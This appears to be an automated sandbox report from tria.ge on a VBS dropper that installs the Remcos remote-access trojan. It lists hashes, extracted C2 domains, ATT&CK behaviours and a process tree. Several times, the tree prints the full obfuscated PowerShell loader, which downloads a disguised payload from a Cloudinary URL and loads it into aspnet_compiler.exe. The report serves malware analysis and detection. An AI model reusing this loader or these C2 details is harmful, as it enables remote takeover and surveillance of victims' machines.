Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    18/12/2024, 02:30

General

  • Target

    4e66fdbc38893f545b9088331861312e46e612bc9f4f96a9c88b286588680bf9.vbs

  • Size

    167KB

  • MD5

    3c217b6a70e1ff5e6ecb71ca0e89644a

  • SHA1

    d158bcee429368797c22f4c2f9a305c2ff37beae

  • SHA256

    4e66fdbc38893f545b9088331861312e46e612bc9f4f96a9c88b286588680bf9

  • SHA512

    38bb4918e229bb83c0f7f4f3ca086253f22197f44887f81dbe4aad019811b91799bc9206155c99906855372cdc0eb09f778913d8d2b59423c3b5e550585672db

  • SSDEEP

    1536:groJZFpjN3Z5cpeYTXOnBodK/fI81ltCwKoAVTmT2xc1k3TjSjjXuw7dk+aojwE3:grorj9Z5ccYKKIIyScjXx7dk+aojD

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://res.cloudinary.com/dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg

exe.dropper

https://res.cloudinary.com/dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg

Extracted

Family

remcos

Botnet

NEW

C2

rem.pushswroller.eu:23101

firewarzone.ydns.eu:23101

sun.drillmmcsnk.eu:23101

Attributes
  • audio_folder

    MicRecords

  • audio_path

    ApplicationPath

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmcghghyrtssxr-7RL1P2

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Remcos family
  • Blocklisted process makes network request 10 IoCs
  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\4e66fdbc38893f545b9088331861312e46e612bc9f4f96a9c88b286588680bf9.vbs"
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1664
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $concessionaries = 'aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07JHVubWF0ZXJuYWxseSA9ICdodHRwczovL3Jlcy5jbG91ZGluYXJ5LmNvbS9kenZhaTg2dWgvaW1hZ2UvdXBsb2FkL3YxNzM0MzE1MjQ0L20zZ3RicWt0dm5vY3l2bTQxMGFhLmpwZyc7JGJhZG1pbnRvbiA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7JHJvYWRtYWtlciA9ICRiYWRtaW50b24uRG93bmxvYWREYXRhKCR1bm1hdGVybmFsbHkpOyRQaXNjZXMgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkcm9hZG1ha2VyKTskY2FwcmlmaWN1cyA9ICc8PEJBU0U2NF9TVEFSVD4+JzskYmlydGhlcnMgPSAnPDxCQVNFNjRfRU5EPj4nOyRkaXNwb3NlZGx5ID0gJFBpc2Nlcy5JbmRleE9mKCRjYXByaWZpY3VzKTskcGljdHVyZSA9ICRQaXNjZXMuSW5kZXhPZigkYmlydGhlcnMpOyRkaXNwb3NlZGx5IC1nZSAwIC1hbmQgJHBpY3R1cmUgLWd0ICRkaXNwb3NlZGx5OyRkaXNwb3NlZGx5ICs9ICRjYXByaWZpY3VzLkxlbmd0aDskYmVlZnN0ZWFrID0gJHBpY3R1cmUgLSAkZGlzcG9zZWRseTskcmV0YXBpbmcgPSAkUGlzY2VzLlN1YnN0cmluZygkZGlzcG9zZWRseSwgJGJlZWZzdGVhayk7JGRpcmVjdGlvbnMgPSAtam9pbiAoJHJldGFwaW5nLlRvQ2hhckFycmF5KCkgfCBGb3JFYWNoLU9iamVjdCB7ICRfIH0pWy0xLi4tKCRyZXRhcGluZy5MZW5ndGgpXTskYmVpbGQgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRkaXJlY3Rpb25zKTskbG93ZXJjYXNlZCA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoJGJlaWxkKTskcm9vbWlseSA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoJ1ZBSScpOyRyb29taWx5Lkludm9rZSgkbnVsbCwgQCgnMC9QWHJVSS9yL2VlLmV0c2FwLy86c3B0dGgnLCAnbXVkd2VlZCcsICdtdWR3ZWVkJywgJ211ZHdlZWQnLCAnYXNwbmV0X2NvbXBpbGVyJywgJ211ZHdlZWQnLCdtdWR3ZWVkJywnbXVkd2VlZCcsJ2hhZW1hdGFjaG9tZXRlcicsICdDOlxQcm9ncmFtRGF0YVwnLCdoYWVtYXRhY2hvbWV0ZXInLCd2YnMnLCcxJywnMScsJ1Rhc2tOYW1lJykpO2lmICgkbnVsbCAtbmUgJFBTVmVyc2lvblRhYmxlIC1hbmQgJFBTVmVyc2lvblRhYmxlLlBTVmVyc2lvbiAtbmUgJG51bGwpIHsgW3ZvaWRdJFBTVmVyc2lvblRhYmxlLlBTVmVyc2lvbiB9IGVsc2UgeyBXcml0ZS1PdXRwdXQgJ1Bvd2VyU2hlbGwgdmVyc2lvbiBOb3QgYXZhaWxhYmxlJyB9O2lmICgkbnVsbCAtbmUgJFBTVmVyc2lvblRhYmxlIC1hbmQgJFBTVmVyc2lvblRhYmxlLlBTVmVyc2lvbiAtbmUgJG51bGwpIHsgW3ZvaWRdJFBTVmVyc2lvblRhYmxlLlBTVmVyc2lvbiB9IGVsc2UgeyBXcml0ZS1PdXRwdXQgJ1Bvd2VyU2hlbGwgdmVyc2lvbiBOb3QgYXZhaWxhYmxlJyB9Ow==';$neurologically = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($concessionaries));Invoke-Expression $neurologically
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4788
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /C copy *.vbs "C:\ProgramData\haematachometer.vbs"
        3⤵
          PID:2736
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
          3⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of SetWindowsHookEx
          PID:4808
    • C:\Windows\system32\wscript.exe
      wscript.exe C:\ProgramData\haematachometer.vbs
      1⤵
      • Blocklisted process makes network request
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:5084
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $concessionaries = 'aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07JHVubWF0ZXJuYWxseSA9ICdodHRwczovL3Jlcy5jbG91ZGluYXJ5LmNvbS9kenZhaTg2dWgvaW1hZ2UvdXBsb2FkL3YxNzM0MzE1MjQ0L20zZ3RicWt0dm5vY3l2bTQxMGFhLmpwZyc7JGJhZG1pbnRvbiA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7JHJvYWRtYWtlciA9ICRiYWRtaW50b24uRG93bmxvYWREYXRhKCR1bm1hdGVybmFsbHkpOyRQaXNjZXMgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkcm9hZG1ha2VyKTskY2FwcmlmaWN1cyA9ICc8PEJBU0U2NF9TVEFSVD4+JzskYmlydGhlcnMgPSAnPDxCQVNFNjRfRU5EPj4nOyRkaXNwb3NlZGx5ID0gJFBpc2Nlcy5JbmRleE9mKCRjYXByaWZpY3VzKTskcGljdHVyZSA9ICRQaXNjZXMuSW5kZXhPZigkYmlydGhlcnMpOyRkaXNwb3NlZGx5IC1nZSAwIC1hbmQgJHBpY3R1cmUgLWd0ICRkaXNwb3NlZGx5OyRkaXNwb3NlZGx5ICs9ICRjYXByaWZpY3VzLkxlbmd0aDskYmVlZnN0ZWFrID0gJHBpY3R1cmUgLSAkZGlzcG9zZWRseTskcmV0YXBpbmcgPSAkUGlzY2VzLlN1YnN0cmluZygkZGlzcG9zZWRseSwgJGJlZWZzdGVhayk7JGRpcmVjdGlvbnMgPSAtam9pbiAoJHJldGFwaW5nLlRvQ2hhckFycmF5KCkgfCBGb3JFYWNoLU9iamVjdCB7ICRfIH0pWy0xLi4tKCRyZXRhcGluZy5MZW5ndGgpXTskYmVpbGQgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRkaXJlY3Rpb25zKTskbG93ZXJjYXNlZCA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoJGJlaWxkKTskcm9vbWlseSA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoJ1ZBSScpOyRyb29taWx5Lkludm9rZSgkbnVsbCwgQCgnMC9QWHJVSS9yL2VlLmV0c2FwLy86c3B0dGgnLCAnbXVkd2VlZCcsICdtdWR3ZWVkJywgJ211ZHdlZWQnLCAnYXNwbmV0X2NvbXBpbGVyJywgJ211ZHdlZWQnLCdtdWR3ZWVkJywnbXVkd2VlZCcsJ2hhZW1hdGFjaG9tZXRlcicsICdDOlxQcm9ncmFtRGF0YVwnLCdoYWVtYXRhY2hvbWV0ZXInLCd2YnMnLCcxJywnMScsJ1Rhc2tOYW1lJykpO2lmICgkbnVsbCAtbmUgJFBTVmVyc2lvblRhYmxlIC1hbmQgJFBTVmVyc2lvblRhYmxlLlBTVmVyc2lvbiAtbmUgJG51bGwpIHsgW3ZvaWRdJFBTVmVyc2lvblRhYmxlLlBTVmVyc2lvbiB9IGVsc2UgeyBXcml0ZS1PdXRwdXQgJ1Bvd2VyU2hlbGwgdmVyc2lvbiBOb3QgYXZhaWxhYmxlJyB9O2lmICgkbnVsbCAtbmUgJFBTVmVyc2lvblRhYmxlIC1hbmQgJFBTVmVyc2lvblRhYmxlLlBTVmVyc2lvbiAtbmUgJG51bGwpIHsgW3ZvaWRdJFBTVmVyc2lvblRhYmxlLlBTVmVyc2lvbiB9IGVsc2UgeyBXcml0ZS1PdXRwdXQgJ1Bvd2VyU2hlbGwgdmVyc2lvbiBOb3QgYXZhaWxhYmxlJyB9Ow==';$neurologically = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($concessionaries));Invoke-Expression $neurologically
        2⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3960
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
          3⤵
            PID:1888
      • C:\Windows\system32\wscript.exe
        wscript.exe C:\ProgramData\haematachometer.vbs
        1⤵
        • Blocklisted process makes network request
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:3640
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $concessionaries = 'aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07JHVubWF0ZXJuYWxseSA9ICdodHRwczovL3Jlcy5jbG91ZGluYXJ5LmNvbS9kenZhaTg2dWgvaW1hZ2UvdXBsb2FkL3YxNzM0MzE1MjQ0L20zZ3RicWt0dm5vY3l2bTQxMGFhLmpwZyc7JGJhZG1pbnRvbiA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7JHJvYWRtYWtlciA9ICRiYWRtaW50b24uRG93bmxvYWREYXRhKCR1bm1hdGVybmFsbHkpOyRQaXNjZXMgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkcm9hZG1ha2VyKTskY2FwcmlmaWN1cyA9ICc8PEJBU0U2NF9TVEFSVD4+JzskYmlydGhlcnMgPSAnPDxCQVNFNjRfRU5EPj4nOyRkaXNwb3NlZGx5ID0gJFBpc2Nlcy5JbmRleE9mKCRjYXByaWZpY3VzKTskcGljdHVyZSA9ICRQaXNjZXMuSW5kZXhPZigkYmlydGhlcnMpOyRkaXNwb3NlZGx5IC1nZSAwIC1hbmQgJHBpY3R1cmUgLWd0ICRkaXNwb3NlZGx5OyRkaXNwb3NlZGx5ICs9ICRjYXByaWZpY3VzLkxlbmd0aDskYmVlZnN0ZWFrID0gJHBpY3R1cmUgLSAkZGlzcG9zZWRseTskcmV0YXBpbmcgPSAkUGlzY2VzLlN1YnN0cmluZygkZGlzcG9zZWRseSwgJGJlZWZzdGVhayk7JGRpcmVjdGlvbnMgPSAtam9pbiAoJHJldGFwaW5nLlRvQ2hhckFycmF5KCkgfCBGb3JFYWNoLU9iamVjdCB7ICRfIH0pWy0xLi4tKCRyZXRhcGluZy5MZW5ndGgpXTskYmVpbGQgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRkaXJlY3Rpb25zKTskbG93ZXJjYXNlZCA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoJGJlaWxkKTskcm9vbWlseSA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoJ1ZBSScpOyRyb29taWx5Lkludm9rZSgkbnVsbCwgQCgnMC9QWHJVSS9yL2VlLmV0c2FwLy86c3B0dGgnLCAnbXVkd2VlZCcsICdtdWR3ZWVkJywgJ211ZHdlZWQnLCAnYXNwbmV0X2NvbXBpbGVyJywgJ211ZHdlZWQnLCdtdWR3ZWVkJywnbXVkd2VlZCcsJ2hhZW1hdGFjaG9tZXRlcicsICdDOlxQcm9ncmFtRGF0YVwnLCdoYWVtYXRhY2hvbWV0ZXInLCd2YnMnLCcxJywnMScsJ1Rhc2tOYW1lJykpO2lmICgkbnVsbCAtbmUgJFBTVmVyc2lvblRhYmxlIC1hbmQgJFBTVmVyc2lvblRhYmxlLlBTVmVyc2lvbiAtbmUgJG51bGwpIHsgW3ZvaWRdJFBTVmVyc2lvblRhYmxlLlBTVmVyc2lvbiB9IGVsc2UgeyBXcml0ZS1PdXRwdXQgJ1Bvd2VyU2hlbGwgdmVyc2lvbiBOb3QgYXZhaWxhYmxlJyB9O2lmICgkbnVsbCAtbmUgJFBTVmVyc2lvblRhYmxlIC1hbmQgJFBTVmVyc2lvblRhYmxlLlBTVmVyc2lvbiAtbmUgJG51bGwpIHsgW3ZvaWRdJFBTVmVyc2lvblRhYmxlLlBTVmVyc2lvbiB9IGVsc2UgeyBXcml0ZS1PdXRwdXQgJ1Bvd2VyU2hlbGwgdmVyc2lvbiBOb3QgYXZhaWxhYmxlJyB9Ow==';$neurologically = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($concessionaries));Invoke-Expression $neurologically
          2⤵
          • Blocklisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4944

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\ProgramData\haematachometer.vbs

        Filesize

        167KB

        MD5

        3c217b6a70e1ff5e6ecb71ca0e89644a

        SHA1

        d158bcee429368797c22f4c2f9a305c2ff37beae

        SHA256

        4e66fdbc38893f545b9088331861312e46e612bc9f4f96a9c88b286588680bf9

        SHA512

        38bb4918e229bb83c0f7f4f3ca086253f22197f44887f81dbe4aad019811b91799bc9206155c99906855372cdc0eb09f778913d8d2b59423c3b5e550585672db

      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751

        Filesize

        734B

        MD5

        e192462f281446b5d1500d474fbacc4b

        SHA1

        5ed0044ac937193b78f9878ad7bac5c9ff7534ff

        SHA256

        f1ba9f1b63c447682ebf9de956d0da2a027b1b779abef9522d347d3479139a60

        SHA512

        cc69a761a4e8e1d4bf6585aa8e3e5a7dfed610f540a6d43a288ebb35b16e669874ed5d2b06756ee4f30854f6465c84ee423502fc5b67ee9e7758a2dab41b31d3

      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751

        Filesize

        192B

        MD5

        f0c5c5242dc7d8a6f461fb69e13baaa2

        SHA1

        1499f762b3d6b2f66cab5f815be8b0f18a303f04

        SHA256

        ed581882b5b47bafb65062e36998f49fd751e0024e38e7fa148dada4f736dbc4

        SHA512

        d3182856478048edffee034891086d5a2b6b430a3917b881324a039e397fd08d55523f2b4e589aa6c9f9597bd633dd2eec57a18678c4f2b5d0c0935e5a0167e1

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

        Filesize

        3KB

        MD5

        3252889f4565915b711a7d7ce646d0ac

        SHA1

        c10c7f47fb558fbfd5117ce5124e7c9b68b48b42

        SHA256

        a351ae006ef808b74be134893e9727b08d309a5d060525c3e36b0ae897616009

        SHA512

        6cd749982de265ee3edc50d812e573b3ec4ae9555a01728a9943cd3214aa52216a1d23f17215d45fee6031acd84c1a7063281ae02f481500404dd5f4c20b27a3

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\XH3Z2ZON\LDDIb[1].txt

        Filesize

        77KB

        MD5

        ea91e5a559cf86c5cc019abc9f4bd827

        SHA1

        c4d9d354cde9689da348b6db214b35a1c1a807bf

        SHA256

        a1dc46e1455acf53be3a11104d1930152a3b223aac8a520da0a6a4e370842308

        SHA512

        0603463b0fcdaeede0f600d098d2ba7a99ed1d446f6b9476558575cca5da18a9808f4fe1420831b831d5bc4adc6152d5ad5b697e7c33cecbbec00d27bf2c4a10

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        d4940c77f4f23ba97f559e4283f54ef2

        SHA1

        d9e1406079ae8c6df9c1b2a1631771f810bf41ac

        SHA256

        e9d6d43d6e3682aef38a7723276d7c0d008b87e1cad9ffff375752410276f66f

        SHA512

        65f2d29da520ece95dbcb9a9b38ada72360503a82e86acc8c6292e1e2c24177a591d10f6fdc915f29bb665c6d8f6dc77ec7f70c089ba49548467ec16a7c84b82

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        ff8d4f129e351029813efb6d33daa2ab

        SHA1

        fbf854cd3e3490fcc1f12a86ccc03463d8741dcb

        SHA256

        46258e3cb6db7da267c64fd17b116b09bd906c6ecf8e9e3d81e327c2cae9b735

        SHA512

        1516167234e85fd72fcabc5b6a80e8555482dd80f5e3d72d415fd3992379a0834c4750e071cea96af799ca56363ab763d36af30a806bb534a904faed44f51c04

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3dkiihig.ncn.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • memory/1888-64-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/4788-23-0x00007FFA37910000-0x00007FFA383D1000-memory.dmp

        Filesize

        10.8MB

      • memory/4788-6-0x00007FFA37913000-0x00007FFA37915000-memory.dmp

        Filesize

        8KB

      • memory/4788-16-0x0000018A5D630000-0x0000018A5D652000-memory.dmp

        Filesize

        136KB

      • memory/4788-17-0x00007FFA37910000-0x00007FFA383D1000-memory.dmp

        Filesize

        10.8MB

      • memory/4788-30-0x00007FFA37910000-0x00007FFA383D1000-memory.dmp

        Filesize

        10.8MB

      • memory/4788-18-0x00007FFA37910000-0x00007FFA383D1000-memory.dmp

        Filesize

        10.8MB

      • memory/4788-19-0x00007FFA37910000-0x00007FFA383D1000-memory.dmp

        Filesize

        10.8MB

      • memory/4788-24-0x0000018A76120000-0x0000018A762CA000-memory.dmp

        Filesize

        1.7MB

      • memory/4788-20-0x00007FFA37913000-0x00007FFA37915000-memory.dmp

        Filesize

        8KB

      • memory/4788-21-0x00007FFA37910000-0x00007FFA383D1000-memory.dmp

        Filesize

        10.8MB

      • memory/4788-22-0x00007FFA37910000-0x00007FFA383D1000-memory.dmp

        Filesize

        10.8MB

      • memory/4808-35-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/4808-29-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/4808-44-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/4808-42-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/4808-38-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/4808-37-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/4808-36-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/4808-34-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/4808-31-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/4808-43-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/4808-65-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/4808-66-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/4808-67-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/4808-68-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/4808-26-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/4808-82-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/4808-81-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB